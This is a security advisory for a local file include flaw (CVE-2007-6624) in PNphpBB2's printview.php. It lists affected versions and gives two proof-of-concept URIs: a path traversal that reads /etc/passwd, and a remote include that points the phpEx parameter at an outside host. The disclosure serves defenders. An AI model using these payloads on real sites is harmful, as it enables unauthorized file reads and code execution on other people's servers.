PNphpBB2 'printview.php' Local File Include Vulnerability

BID:27039

Info

PNphpBB2 'printview.php' Local File Include Vulnerability

Bugtraq ID: 27039
Class: Input Validation Error
CVE: CVE-2007-6624
Remote: Yes
Local: No
Published: Dec 26 2007 12:00AM
Updated: May 07 2015 05:34PM
Credit: irk4z discovered this vulnerability.
Vulnerable: PNphpBB PNphpBB2 1.2.0 i
Not Vulnerable:

Discussion

PNphpBB2 'printview.php' Local File Include Vulnerability

PNphpBB2 is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary local scripts and retrieve potentially sensitive information.

This issue affects PNphpBB2 1.2i and prior versions.

Exploit / POC

PNphpBB2 'printview.php' Local File Include Vulnerability

An attacker can exploit this issue with a browser.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd http://www.example.com/[path]/modules/PNphpBB2/printview.php?phpEx=http://www.example2.com

Solution / Fix

PNphpBB2 'printview.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

PNphpBB2 'printview.php' Local File Include Vulnerability

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